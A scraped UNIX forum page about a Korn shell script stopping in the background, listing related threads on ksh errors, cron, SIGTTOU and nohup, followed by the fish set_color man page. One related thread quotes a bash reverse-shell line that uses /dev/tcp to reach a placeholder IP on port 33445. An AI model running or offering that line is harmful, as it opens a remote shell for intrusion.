|
|
Sponsored Content
Top Forums
Shell Programming and Scripting
Korn Shell script in stopped state while running in background
Post 302942959 by neutronscott on Monday 4th of May 2015 08:45:37 AM
|
|
10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
I am sorry, this is really trivial, yet I am not able to understand what the problem is!
I am using korn shell and running this script
#!/bin/ksh
keep=3
while ; do
echo $keep
keep=$(($keep-1))
done
I am getting this error: `keep=$' unexpected
I am not able to understand it because ... (1 Reply)
Discussion started by: Asty
1 Replies
2. Shell Programming and Scripting
hey everyone,
For my studies i had to write a javaprogram which reads 2 integers from the keyboard and then using the basic operations(addition, division etc) with them. so far no problem. but now i gotta make a shell-script which:
runs the program(compiled with javac)
#!bin/ksh
java... (1 Reply)
Discussion started by: simlmf
1 Replies
3. UNIX for Dummies Questions & Answers
How would i instruct the current shell to run the current script using the korn shell? (1 Reply)
Discussion started by: JamieMurry
1 Replies
4. Shell Programming and Scripting
I'm learning bash and have discovered that the shell can only work with integers and not decimals.
I'd like to run my scripts in korn to account for this, but just now, when I tried to run my script, I got an error message that said 'no such file or directory,' even though when I'm in the shell... (3 Replies)
Discussion started by: Straitsfan
3 Replies
5. Shell Programming and Scripting
Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0
- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the... (2 Replies)
Discussion started by: gd05
2 Replies
6. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies
7. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies
8. UNIX for Advanced & Expert Users
Hi All,
I have an issue where in when i execute a script in the background using '&', it exits with stopped(SIGTTOU) signal.
There are two servers, where the Compute server is HP-Unix and Data server is Linux.
I tried using the "stty - tostop" command to disable the SIGTTOU for background... (1 Reply)
Discussion started by: vmenon
1 Replies
9. Shell Programming and Scripting
I have written the below query to genrate a telephone.I am passing account number from oracle database.
I am calling 2 scripts which generate the bill
1. bip.sh (it runs in the background)
2.runXitInvoice_PROFORMA_integ
bip.sh generates a number which runXitInvoice_PROFORMA_integ
uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies
10. Shell Programming and Scripting
Shell Script for continuously checking status of a another script running in background, and immedia
Hi,
I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..
i am using below command to run script
nohup system_traps.sh &
but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies
LEARN ABOUT NETBSD
set_color
set_color(1) fish set_color(1) NAME
set_color - set_color - set the terminal color set_color - set the terminal color Synopsis set_color [-v --version] [-h --help] [-b --background COLOR] [COLOR] Description Change the foreground and/or background color of the terminal. COLOR is one of black, red, green, brown, yellow, blue, magenta, purple, cyan, white and normal. o -b, --background Set the background color o -c, --print-colors Prints a list of all valid color names o -h, --help Display help message and exit o -o, --bold Set bold or extra bright mode o -u, --underline Set underlined mode o -v, --version Display version and exit Calling set_color normal will set the terminal color to whatever is the default color of the terminal. Some terminals use the --bold escape sequence to switch to a brighter color set. On such terminals, set_color white will result in a grey font color, while set_color --bold white will result in a white font color. Not all terminal emulators support all these features. This is not a bug in set_color but a missing feature in the terminal emulator. set_color uses the terminfo database to look up how to change terminal colors on whatever terminal is in use. Some systems have old and incomplete terminfo databases, and may lack color information for terminals that support it. Download and install the latest version of ncurses and recompile fish against it in order to fix this issue. Version 1.23.1 Sun Jan 8 2012 set_color(1)